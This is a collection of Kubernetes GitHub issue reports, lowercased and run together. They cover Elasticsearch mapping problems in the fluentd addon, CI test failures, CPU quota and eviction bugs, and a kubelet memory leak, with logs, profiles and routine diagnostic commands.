are some pods running that produce logs.\r \r the mapping autmatically generated when creating the index is:\r    \r {\r   \ logstash-2017.02.08\ :{\r     \ mappings\ :{\r       \ fluentd\ :{\r         \ properties\ :{\r           \ @fields\ :{\r             \ properties\ :{\r               \ body_bytes_sent\ :{\r                 \ type\ :\ string\ \r               },\r               \ http_referrer\ :{\r                 \ type\ :\ string\ \r               },\r               \ http_user_agent\ :{\r                 \ type\ :\ string\ \r               },\r               \ remote_addr\ :{\r                 \ type\ :\ string\ \r               },\r               \ remote_user\ :{\r                 \ type\ :\ string\ \r               },\r               \ request\ :{\r                 \ type\ :\ string\ \r               },\r               \ request_method\ :{\r                 \ type\ :\ string\ \r               },\r               \ request_time\ :{\r                 \ type\ :\ string\ \r               },\r               \ status\ :{\r                 \ type\ :\ string\ \r               }\r             }\r           },\r           \ @timestamp\ :{\r             \ type\ :\ date\ ,\r             \ format\ :\ strict_date_optional_time||epoch_millis\ \r           },\r           \ docker\ :{\r             \ properties\ :{\r               \ container_id\ :{\r                 \ type\ :\ string\ \r               }\r             }\r           },\r           \ kubernetes\ :{\r             \ properties\ :{\r               \ container_name\ :{\r                 \ type\ :\ string\ \r               },\r               \ host\ :{\r                 \ type\ :\ string\ \r               },\r               \ labels\ :{\r                 \ type\ :\ object\ \r               },\r               \ namespace_name\ :{\r                 \ type\ :\ string\ \r               },\r               \ pod_id\ :{\r                 \ type\ :\ string\ \r               },\r               \ pod_name\ :{\r                 \ type\ :\ string\ \r               }\r             }\r           },\r           \ log\ :{\r             \ type\ :\ string\ \r           },\r           \ stream\ :{\r             \ type\ :\ string\ \r           },\r           \ tag\ :{\r             \ type\ :\ string\ \r           }\r         }\r       }\r     }\r   }\r }\r    \r \r all the properites of kubernetes field are analyzed. there is also no mapping for \ _default_\  type  as the template specifies .\r \r after manually creating an index template  via put _template/template_1 rest call  \r as defined in  https://github.com/kubernetes/kubernetes/blob/master/cluster/addons/fluentd-elasticsearch/es-image/template-k8s-logstash.json \r and sendint the logs again, the index looks like this:\r \r    \r \r {\r   \ logstash-2017.02.08\ :{\r     \ mappings\ :{\r       \ _default_\ :{\r         \ dynamic_templates\ : \r           {\r             \ kubernetes_labels\ :{\r               \ mapping\ :{\r                 \ type\ :\ object\ ,\r                 \ dynamic_templates\ : \r                   {\r                     \ path_match\ :\  \ ,\r                     \ mapping\ :{\r                       \ index\ :\ not_analyzed\ ,\r                       \ type\ :\ string\ \r                     },\r                     \ match_mapping_type\ :\ string\ \r                   }\r                  \r               },\r               \ path_match\ :\ kubernetes.labels\ \r             }\r           },\r           {\r             \ kubernetes_field\ :{\r               \ mapping\ :{\r                 \ index\ :\ not_analyzed\ ,\r                 \ type\ :\ string\ \r               },\r               \ match_mapping_type\ :\ string\ ,\r               \ path_match\ :\ kubernetes. \ \r             }\r           }\r          \r       },\r       \ fluentd\ :{\r         \ dynamic_templates\ : \r           {\r             \ kubernetes_labels\ :{\r               \ mapping\ :{\r                 \ type\ :\ object\ ,\r                 \ dynamic_templates\ : \r                   {\r                     \ path_match\ :\  \ ,\r                     \ mapping\ :{\r                       \ index\ :\ not_analyzed\ ,\r                       \ type\ :\ string\ \r                     },\r                     \ match_mapping_type\ :\ string\ \r                   }\r                  \r               },\r               \ path_match\ :\ kubernetes.labels\ \r             }\r           },\r           {\r             \ kubernetes_field\ :{\r               \ mapping\ :{\r                 \ index\ :\ not_analyzed\ ,\r                 \ type\ :\ string\ \r               },\r               \ match_mapping_type\ :\ string\ ,\r               \ path_match\ :\ kubernetes. \ \r             }\r           }\r          ,\r         \ properties\ :{\r           \ @fields\ :{\r             \ properties\ :{\r               \ body_bytes_sent\ :{\r                 \ type\ :\ string\ \r               },\r               \ http_referrer\ :{\r                 \ type\ :\ string\ \r               },\r               \ http_user_agent\ :{\r                 \ type\ :\ string\ \r               },\r               \ remote_addr\ :{\r                 \ type\ :\ string\ \r               },\r               \ remote_user\ :{\r                 \ type\ :\ string\ \r               },\r               \ request\ :{\r                 \ type\ :\ string\ \r               },\r               \ request_method\ :{\r                 \ type\ :\ string\ \r               },\r               \ request_time\ :{\r                 \ type\ :\ string\ \r               },\r               \ status\ :{\r                 \ type\ :\ string\ \r               }\r             }\r           },\r           \ @timestamp\ :{\r             \ type\ :\ date\ ,\r             \ format\ :\ strict_date_optional_time||epoch_millis\ \r           },\r           \ docker\ :{\r             \ properties\ :{\r               \ container_id\ :{\r                 \ type\ :\ string\ \r               }\r             }\r           },\r           \ kubernetes\ :{\r             \ properties\ :{\r               \ container_name\ :{\r                 \ type\ :\ string\ ,\r                 \ index\ :\ not_analyzed\ \r               },\r               \ host\ :{\r                 \ type\ :\ string\ ,\r                 \ index\ :\ not_analyzed\ \r               },\r               \ labels\ :{\r                 \ type\ :\ object\ \r               },\r               \ namespace_name\ :{\r                 \ type\ :\ string\ ,\r                 \ index\ :\ not_analyzed\ \r               },\r               \ pod_id\ :{\r                 \ type\ :\ string\ ,\r                 \ index\ :\ not_analyzed\ \r               },\r               \ pod_name\ :{\r                 \ type\ :\ string\ ,\r                 \ index\ :\ not_analyzed\ \r               }\r             }\r           },\r           \ log\ :{\r             \ type\ :\ string\ \r           },\r           \ stream\ :{\r             \ type\ :\ string\ \r           },\r           \ tag\ :{\r             \ type\ :\ string\ \r           }\r         }\r       }\r     }\r   }\r }\r    \r \r \ _default_\  type mapping is present, kubernetes field has all its properties not_analyzed.\r looks like the template is working now.\r \r \r   what you expected to happen  :\r i expected that elasticsearch index has proper mapping  i.e. all properies of kubernetes fields not analyzed .\r \r   how to reproduce it    as minimally and precisely as possible :\r install k8s with fluentd-elasticsearch addon installed.\r inspect logstash  indicies mappings. mappings for 'kubernetes' field properties shoud include 'not_analyzed'.\r \r   anything else we need to know  :\r probably we are relying on elasticsearch functionality that was deprecated in 2.4  which is used in the addon now . i suspect index template is not configured in the addon properly.\r

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/. :\r \r   note:   please file issues for subcomponents under the appropriate repo\r \r | component | repo                                                               |\r | --------- | ------------------------------------------------------------------ |\r | kubectl   |  kubernetes/kubectl  https://github.com/kubernetes/kubectl/issues/new  |\r | kubeadm   |  kubernetes/kubeadm  https://github.com/kubernetes/kubeadm/issues/new  |\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r ---\r \r   is this a bug report or feature request?    choose one :\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r \r \r   environment  :\r -   cloud provider or hardware configuration  :\r -   os    e.g. from /etc/os-release :\r -   kernel    e.g.  uname -a  :\r -   install tools  :\r -   others  :\r \r \r   what happened  :\r \r https://github.com/kubernetes/kubernetes/blob/master/pkg/api/v1/types.go l1661-l1662\r \r    \r // a single application container that you want to run within a pod.\r type container struct {\r \t// name of the container specified as a dns_label.\r \t// each container in a pod must have a unique name  dns_label .\r \t// cannot be updated.\r \tname string  json:\ name\  protobuf:\ bytes,1,opt,name=name\  \r \t// docker image name.\r \t// more info: https://kubernetes.io/docs/concepts/containers/images\r \t// +optional\r \timage string  json:\ image,omitempty\  protobuf:\ bytes,2,opt,name=image\  \r ....\r }\r    \r \r   what you expected to happen  :\r \r \r   how to reproduce it    as minimally and precisely as possible :\r \r \r   anything else we need to know  :\r \r

failure cluster  2f459014e3f28c85092c  https://go.k8s.io/triage 2f459014e3f28c85092c        error text:     error during ./hack/ginkgo-e2e.sh --ginkgo.focus=\\ feature:elasticsearch\\ : exit status 1           failure cluster statistics: 1 tests failed,    2 jobs failed,    93 builds failed. failure stats cover 1 day time range '10 jun 2017 03:56 utc' to '11 jun 2017 03:56 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | | test | 2 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-gci-gce-es-logging | 47 |  11 jun 2017 03:24 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-es-logging/9741  | | ci-kubernetes-e2e-gce-es-logging | 46 |  11 jun 2017 03:08 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-es-logging/12910  |   current status  https://go.k8s.io/triage 2f459014e3f28c85092c

but it doesn't have the godeps/ folder.\r \r https://github.com/kubernetes/kubernetes/pull/47936 add the godeps/. \r \r ideally, we should not let the intorstring pull in so much dependency to k8s.io/api

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  /area release-infra\r  \r   what happened  :\r as stated in  armhf/debian on docker hub  https://hub.docker.com/r/armhf/debian/ \r > the  armhf  organization is deprecated in favor of the more-specific  arm32v7  and  arm32v6  organizations\r \r   what you expected to happen  :\r we should replace current  armhf/   docker images to  arm32v7/

it should be possible to create a podsecuritypolicy with zero restrictions. this was the intent with the      a.k.a. \ allowany\   allowed seccomp profile, but it is rejected during the validation phase.\r \r 

currently many clusters that are secure want to isolate etcd from the outside world  for defense in depth reasons , and so it'll become very difficult to gather metrics from it.  conversely, many failures around api servers revolve around failures in etcd.\r \r there are three primary conditions that are important to the operation of etcd as viewed from the api server.\r \r 1. alerts and quota size of the etcd store\r 2. reachability latency / performance of the common commit operations from the storage layer to etcd\r 3. failure rate from the client to etcd\r \r and possibly other relevant background activities like compaction.\r \r i think we should consider reporting alarms from etcd  as well as reachability info  as prometheus metrics on the api server.\r \r @kubernetes/sig-api-machinery-feature-requests @kubernetes/sig-instrumentation-feature-requests @kubernetes/sig-scalability-feature-requests \r

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r when i pass the 1.8 openapi spec to swagger's validator, i get an error that looks like:\r \r    \r   swagger-codegen validate -i openapi_kubernetes_1.8.json\r attribute definitions.io.k8s.kubernetes.pkg.api.v1.persistentvolume.description is unexpected\r ...\r exception in thread \ main\  io.swagger.codegen.cmd.validateexception\r \tat io.swagger.codegen.cmd.validate.run validate.java:34 \r \tat io.swagger.codegen.swaggercodegen.main swaggercodegen.java:35 \r    \r \r the full output is at https://gist.github.com/ceridwen/a0007517d5410bdca0ae1653f136646f.\r \r   what you expected to happen  :\r \r i expected validation to pass.  validation on the 1.6 and 1.7 specs passes.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r download https://raw.githubusercontent.com/kubernetes/kubernetes/release-1.8/api/openapi-spec/swagger.json and run swagger-codegen version 2.2.3  on it.\r \r   environment  :\r - kubernetes version  use  kubectl version  : i noticed this issue on minikube v0.23.\r - os  e.g. from /etc/os-release : mac os x 10.12.6\r - kernel  e.g.  uname -a  : darwin 16.7.0 darwin kernel version 16.7.0: thu jun 15 17:36:27 pdt 2017; root:xnu-3789.70.16~2/release_x86_64 x86_64\r - others: swagger-codegen 2.2.3.\r

 \r   what happened  :\r \r we don't currently have much visibility into admission rejections. especially in the kube-system namespace, a large number of admission rejections are likely to indicate a misconfiguration.\r \r   what you expected to happen  :\r \r we should expose a prometheus metric that includes:\r \r 1. name of the handler that triggered the reject\r 2. whether the target resource was in the kube-system namespace\r \r there is a lot more data that could be collected, but i think those 2 dimensions will be sufficient for production alerting.\r \r in order to provide rate metrics, calls to admit should also be counted along the same dimensions.

/ /  /status approved-for-milestone\r @kubernetes/sig-cluster-lifecycle-test-failures \r \r this job has been failing since at least 2017-11-08.  it's on the  sig-release-master-upgrade dashboard  https://k8s-testgrid.appspot.com/sig-release-master-upgrade ,\r and prevents us from cutting  v1.9.0-beta.1   kubernetes/sig-release 34 . is there work ongoing to bring this job back to green?\r \r https://k8s-testgrid.appspot.com/sig-release-master-upgrade gce-master-1.8-downgrade-cluster\r \r - none of the upgrade jobs are passing https://k8s-testgrid.appspot.com/sig-release-master-upgrade\r - latest failure: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-master-new-downgrade-cluster/143

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  : bug\r \r > uncomment only one, leave it on its own line: \r >\r   >  \r \r   what happened  : all of a sudden my deployment started failing with simple actuator-sample application which were earlier working fine. when i upload my deployment.yml file it fails to create the pods and saying failing to pull the  image. please see exact error message below.\r \r exception stack trace:\r failed to pull image \ testgitlab.lendingkart.com:5005/mihir-lkart/actuator-sample\ : rpc error: code = unknown desc = error response from daemon: get https://testgitlab.lendingkart.com:5005/v1/_ping: dial tcp 172.31.17.179:5005: i/o timeout\r error syncing pod\r \r i have already created secret and all which are necessary and earlier was able to deploy using same configs & secret.  i have also tried to pull the same image manually and it's working fine and also able to run the docker image manually without issues. however, from nowhere it started failing to create the pods and my deployment is failing. my entire deployment pipeline went on toss after this and not sure what to do.  \r \r   what you expected to happen  :  expected the spring boot application to get deployed.\r \r   how to reproduce it  as minimally and precisely as possible   :   not sure as the same deployment.yml was working fine on the same cluster.\r \r   anything else we need to know?  : \r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.8.0\r - cloud provider or hardware configuration: aws\r - os  e.g. from /etc/os-release : \ 16.04.2 lts  xenial xerus \ \r - kernel  e.g.  uname -a  : linux ip-172-31-32-83 4.4.0-1041-aws  50-ubuntu smp wed nov 15 22:18:17 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r - install tools: \r - others:\r

is this a bug report or feature request?  :\r  /area platform/gce\r  \r   what happened  :\r from http://k8s-testgrid.appspot.com/sig-network-gce gce-alpha-api&width=20, gce-alpha-api ci is failing since some recent changes on gce cloud library. example failure:\r    \r  sig-network  services  feature:gcealphafeature  slow  should be able to create and tear down a standard-tier load balancer  slow \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/network/network_tiers.go:63\r jan 19 06:26:48.132: could not reach http service through 35.206.84.246:80 after 2m0s\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/service_util.go:839\r    \r \r specifically, service_controller is throwing out this error   log link  https://storage.googleapis.com/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-alpha-api/6775/artifacts/bootstrap-e2e-master/kube-controller-manager.log  :\r    \r i0119 19:48:21.798768       1 gce_loadbalancer.go:156  ensureloadbalancer bootstrap-e2e, e2e-tests-services-28wff, net-tiers-svc, aa78961a9fd5111e78bc242010a80000, us-central1 : done ensuring loadbalancer. err: failed to create target pool for load balancer  aa78961a9fd5111e78bc242010a80000 e2e-tests-services-28wff/net-tiers-svc  : googleapi: error 400: invalid value 'https://www.googleapis.com/compute/v1/projects/k8s-e2e-gce-alpha-api-access/regions/us-central1'. values must match the following regular expression: ' a-z  ?: -a-z0-9 {0,61} a-z0-9  ?', invalidparameter\r i0119 19:48:21.798805       1 service_controller.go:705  finished syncing service \ e2e-tests-services-28wff/net-tiers-svc\   21.485802676s \r e0119 19:48:21.798831       1 service_controller.go:218  error processing service e2e-tests-services-28wff/net-tiers-svc  will retry : failed to ensure load balancer for service e2e-tests-services-28wff/net-tiers-svc: failed to create target pool for load balancer  aa78961a9fd5111e78bc242010a80000 e2e-tests-services-28wff/net-tiers-svc  : googleapi: error 400: invalid value 'https://www.googleapis.com/compute/v1/projects/k8s-e2e-gce-alpha-api-access/regions/us-central1'. values must match the following regular expression: ' a-z  ?: -a-z0-9 {0,61} a-z0-9  ?', invalidparameter\r i0119 19:48:21.801024       1 event.go:218  event v1.objectreference{kind:\ service\ , namespace:\ e2e-tests-services-28wff\ , name:\ net-tiers-svc\ , uid:\ a78961a9-fd51-11e7-8bc2-42010a800002\ , apiversion:\ v1\ , resourceversion:\ 795\ , fieldpath:\ \ } : type: 'warning' reason: 'creatingloadbalancerfailed' error creating load balancer  will retry : failed to ensure load balancer for service e2e-tests-services-28wff/net-tiers-svc: failed to create target pool for load balancer  aa78961a9fd5111e78bc242010a80000 e2e-tests-services-28wff/net-tiers-svc  : googleapi: error 400: invalid value 'https://www.googleapis.com/compute/v1/projects/k8s-e2e-gce-alpha-api-access/regions/us-central1'. values must match the following regular expression: ' a-z  ?: -a-z0-9 {0,61} a-z0-9  ?', invalidparameter\r    \r \r cc @bowei @nicksardo

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r in low memory, crucial pods are candidates for eviction.\r \r   what you expected to happen  :\r evict only non-critical pods\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. minikube start  --extra-config=kubelet.eviction-hard=\ memory.available<500mi\ \r 2. create a pod  i used  memory-demo  https://github.com/kubernetes/website/blob/master/content/en/docs/tasks/configure-pod-container/memory-request-limit.yaml  \r 3. see a critical pod will be evicted  in my case, kube-apiserver-minikube_kube-system \r \r   anything else we need to know?  :\r \r  minikube logs  snippet:\r    \r jun 06 00:34:08 minikube kubelet 3594 : i0606 00:34:08.130867    3594 reconciler.go:207  operationexecutor.verifycontrollerattachedvolume started for volume \ default-token-bvkxc\   uniquename: \ kubernetes.io/secret/52e5e2af-6921-11e8-8ba7-080027da9d03-default-token-bvkxc\   pod \ memory-demo-787bcd6d76-nw7rz\   uid: \ 52e5e2af-6921-11e8-8ba7-080027da9d03\  \r jun 06 00:34:19 minikube kubelet 3594 : w0606 00:34:19.515478    3594 eviction_manager.go:343  eviction manager: attempting to reclaim memory\r jun 06 00:34:19 minikube kubelet 3594 : i0606 00:34:19.515701    3594 eviction_manager.go:357  eviction manager: must evict pod s  to reclaim memory\r jun 06 00:34:19 minikube kubelet 3594 : i0606 00:34:19.515869    3594 eviction_manager.go:375  eviction manager: pods ranked for eviction: kube-apiserver-minikube_kube-system 9e218749db575502dc2153f1dcfcd8f5 , kube-controller-manager-minikube_kube-system af5fba67ac3471c82c00451a6f0db9a5 , storage-provisioner_kube-system 1a69c6d7-6921-11e8-8ba7-080027da9d03 , etcd-minikube_kube-system 8904a21094f73743ab3c7734da699963 , kube-proxy-988jf_kube-system 18edc583-6921-11e8-8ba7-080027da9d03 , kube-scheduler-minikube_kube-system 31cf0ccbee286239d451edb6fb511513 , kubernetes-dashboard-5498ccf677-vgcw2_kube-system 19af187b-6921-11e8-8ba7-080027da9d03 , influxdb-grafana-9sxtq_kube-system 19c5427a-6921-11e8-8ba7-080027da9d03 , heapster-z8wfw_kube-system 19ba41de-6921-11e8-8ba7-080027da9d03 , kube-addon-manager-minikube_kube-system 3afaf06535cc3b85be93c31632b765da , memory-demo-787bcd6d76-nw7rz_default 52e5e2af-6921-11e8-8ba7-080027da9d03 , kube-dns-86f4d74b45-bczhr_kube-system 18e7ed0d-6921-11e8-8ba7-080027da9d03 \r jun 06 00:34:19 minikube kubelet 3594 : e0606 00:34:19.550634    3594 reflector.go:322  k8s.io/kubernetes/pkg/kubelet/kubelet.go:451: failed to watch  v1.service: get https://192.168.99.100:8443/api/v1/services?resourceversion=367&timeoutseconds=385&watch=true: dial tcp 192.168.99.100:8443: getsockopt: connection refused\r jun 06 00:34:19 minikube kubelet 3594 : e0606 00:34:19.550700    3594 reflector.go:322  k8s.io/kubernetes/pkg/kubelet/kubelet.go:460: failed to watch  v1.node: get https://192.168.99.100:8443/api/v1/nodes?fieldselector=metadata.name%3dminikube&resourceversion=606&timeoutseconds=362&watch=true: dial tcp 192.168.99.100:8443: getsockopt: connection refused\r    \r \r may relate to other similar issues  ex. https://github.com/kubernetes/kubernetes/issues/53659 https://github.com/kubernetes/kubernetes/issues/63005 \r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.10.0\r - cloud provider or hardware configuration: minikube v0.27.0\r

 \r   what happened  :\r missing information on documentation \r \r   what you expected to happen  :\r content of config.yaml\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r https://kubernetes.io/docs/setup/independent/high-availability/\r \r 

\r <!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r \r trying to patch a  servicemonitor  after deploying  prometheus-operator , i'm unable to patch the monitor:\r \r     error from server  unsupportedmediatype : the body of the request was in an unknown format - accepted media types include: application/json-patch+json, application/merge-patch+json\r \r   what you expected to happen  :\r \r monitor patched via  kubectl  similar to how deployments can be patched.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r     kubectl patch servicemonitor prometheus-prometheus-oper-kubelet --patch \ $ cat kubelet-cadvisor-patch.yaml \ \r \r with this patchfile:\r \r       workaround for https://github.com/azure/aks/issues/680\r     spec:\r       endpoints:\r       - honorlabels: true\r         interval: 30s\r         port: http-metrics\r       - honorlabels: true\r         interval: 30s\r         path: /metrics/cadvisor\r         port: http-metrics\r       joblabel: k8s-app\r       namespaceselector:\r         matchnames:\r         - kube-system\r       selector:\r         matchlabels:\r           k8s-app: kubelet\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r \tclient version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.2\ , gitcommit:\ bb9ffb1654d4a729bb4cec18ff088eacc153c239\ , gittreestate:\ clean\ , builddate:\ 2018-08-08t16:31:10z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r \tserver version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.3\ , gitcommit:\ a4529464e4629c21224b3d52edfe0ea91b072862\ , gittreestate:\ clean\ , builddate:\ 2018-09-09t17:53:03z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration: azure\r - kernel  e.g.  uname -a  :\r \r \tdarwin andimacpro.local 18.0.0 darwin kernel version 18.0.0: wed aug 22 20:13:40 pdt 2018; root:xnu-4903.201.2~1/release_x86_64 x86_64\r \r <!-- do not edit below this line -->\r 

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r when run kubelet with \ --cpu-cfs-quota-period 1000ms\   and without --feature-gates=customcpucfsquotaperiod=true, kubelet would set cgroup cpu.cfs_period_us to 1000000, but make calculation based on a default value of 100000, this means if a pod has a limit of 100m, it would have a quota of 10000,  causing its limit set to 10m actually.\r \r   what you expected to happen  :\r if the cfs gate is not enabled, the \ --cpu-cfs-quota-period\  option should not take effect at all.\r \r   how to reproduce it  as minimally and precisely as possible   :\r start kubelet with \ --cpu-cfs-quota-period 1000ms\ , and run a pod with limit set to some value, then the pod's runtime limit, which is only 10%.\r \r   anything else we need to know?  :\r https://github.com/kubernetes/kubernetes/blob/9ce03717a90f9482436b85b512ee482374c57880/pkg/kubelet/cm/helpers_linux.go l61-l63\r the code above reset the period to default when calculating quota, but the runtime period is not reset.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

\r \r   what happened  :\r after upgrading to kubernetes 1.12.5 we observe failing nodes, that are caused by kubelet eating all over the memory after some time.\r \r ! image  https://user-images.githubusercontent.com/50872/52051018-9f335c00-2552-11e9-8520-2c22a5f64ab2.png \r \r i use image  k8s.gcr.io/hyperkube:v1.12.5  to run kubelet on 102 clusters and since a week we see some nodes leaking memory, caused by kubelet. \r \r i investigated some of these kubelets with strace and pprof.\r with 3s of running strace i saw >= 50 openat   calls to the same file from the same threadid  pid  from kubelet:\r    \r     50  pid 12416  openat 10, \ __pycache__\ , o_rdonly|o_noctty|o_nonblock|o_directory|o_nofollow  = 8\r     54  pid 12368  openat 6, \ __pycache__\ , o_rdonly|o_noctty|o_nonblock|o_directory|o_nofollow  = 4\r     72  pid 12368  openat 8, \ __pycache__\ , o_rdonly|o_noctty|o_nonblock|o_directory|o_nofollow  = 4\r     80  pid 12368  openat 4, \ __pycache__\ , o_rdonly|o_noctty|o_nonblock|o_directory|o_nofollow  = 3\r     85  pid 12416  openat 8, \ __pycache__\ , o_rdonly|o_noctty|o_nonblock|o_directory|o_nofollow  = 6\r    \r \r if i do pprof kubelet it shows client_go metrics and compress is taking over most of the compute time.\r    \r  pprof  root@ip-172-31-10-50:~  go tool pprof  http://localhost:10248/debug/pprof/heap\r fetching profile from http://localhost:10248/debug/pprof/heap\r saved profile in /root/pprof/pprof.hyperkube.localhost:10248.alloc_objects.alloc_space.inuse_objects.inuse_space.002.pb.gz\r entering interactive mode  type \ help\  for commands \r  pprof  top\r 2406.93mb of 2451.55mb total  98.18% \r dropped 2863 nodes  cum <= 12.26mb \r showing top 10 nodes out of 34  cum >= 2411.39mb \r       flat  flat%   sum%        cum   cum%\r  2082.07mb 84.93% 84.93%  2082.07mb 84.93%  k8s.io/kubernetes/vendor/github.com/beorn7/perks/quantile.newstream  inline \r   311.65mb 12.71% 97.64%  2398.72mb 97.84%  k8s.io/kubernetes/vendor/github.com/prometheus/client_golang/prometheus.newsummary\r    10.71mb  0.44% 98.08%  2414.43mb 98.49%  k8s.io/kubernetes/vendor/github.com/prometheus/client_golang/prometheus.  metricvec .getorcreatemetricwithlabelvalues\r     2.50mb   0.1% 98.18%  2084.57mb 85.03%  k8s.io/kubernetes/vendor/github.com/beorn7/perks/quantile.newtargeted\r          0     0% 98.18%  2412.06mb 98.39%  k8s.io/kubernetes/cmd/kubelet/app.startkubelet.func1\r          0     0% 98.18%  2412.06mb 98.39%  k8s.io/kubernetes/pkg/kubelet.  kubelet .handlepodadditions\r          0     0% 98.18%  2412.06mb 98.39%  k8s.io/kubernetes/pkg/kubelet.  kubelet .run\r          0     0% 98.18%  2412.06mb 98.39%  k8s.io/kubernetes/pkg/kubelet.  kubelet .syncloop\r          0     0% 98.18%  2412.06mb 98.39%  k8s.io/kubernetes/pkg/kubelet.  kubelet .syncloopiteration\r          0     0% 98.18%  2411.39mb 98.36%  k8s.io/kubernetes/pkg/kubelet/pod.  basicmanager .addpod\r    \r \r memory profile png:\r ! mem_profile001  https://user-images.githubusercontent.com/50872/52052850-043d8080-2558-11e9-8c2f-93db2eb56850.png \r \r \r   the reflector metrics seem to be the problem  :\r \r    \r curl -s localhost:10255/metrics | sed 's/{. //' | sort | uniq -c | sort -nr\r   25749 reflector_watch_duration_seconds\r   25749 reflector_list_duration_seconds\r   25749 reflector_items_per_watch\r   25749 reflector_items_per_list\r    8583 reflector_watches_total\r    8583 reflector_watch_duration_seconds_sum\r    8583 reflector_watch_duration_seconds_count\r    8583 reflector_short_watches_total\r    8583 reflector_lists_total\r    8583 reflector_list_duration_seconds_sum\r    8583 reflector_list_duration_seconds_count\r    8583 reflector_last_resource_version\r    8583 reflector_items_per_watch_sum\r    8583 reflector_items_per_watch_count\r    8583 reflector_items_per_list_sum\r    8583 reflector_items_per_list_count\r     165 storage_operation_duration_seconds_bucket\r      51 kubelet_runtime_operations_latency_microseconds\r      44 rest_client_request_latency_seconds_bucket\r      33 kubelet_docker_operations_latency_microseconds\r      17 kubelet_runtime_operations_latency_microseconds_sum\r      17 kubelet_runtime_operations_latency_microseconds_count\r      17 kubelet_runtime_operations\r    \r \r   what you expected to happen  :\r \r i expect that kubelet does not need so much memory\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r i don't know\r \r   anything else we need to know?  :\r \r one of the affected clusters has only 120 pods and 3 pods are in crashloopbackoff state, one pod since 6 days on an affected node which was investigated.\r \r \r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.12.5\r - cloud provider or hardware configuration: aws\r - os  e.g. from /etc/os-release : \r    \r   cat /etc/os-release\r name=\ container linux by coreos\ \r id=coreos\r version=1800.7.0\r version_id=1800.7.0\r build_id=2018-08-15-2254\r pretty_name=\ container linux by coreos 1800.7.0  rhyolite \ \r ansi_color=\ 38;5;75\ \r home_url=\ https://coreos.com/\ \r bug_report_url=\ https://issues.coreos.com\ \r coreos_board=\ amd64-usr\ \r    \r - kernel  e.g.  uname -a  : linux ip-172-31-10-50.eu-central-1.compute.internal 4.14.63-coreos  1 smp wed aug 15 22:26:16 utc 2018 x86_64 intel r  xeon r  cpu e5-2686 v4 @ 2.30ghz genuineintel gnu/linux\r - install tools: custom https://github.com/zalando-incubator/kubernetes-on-aws\r \r

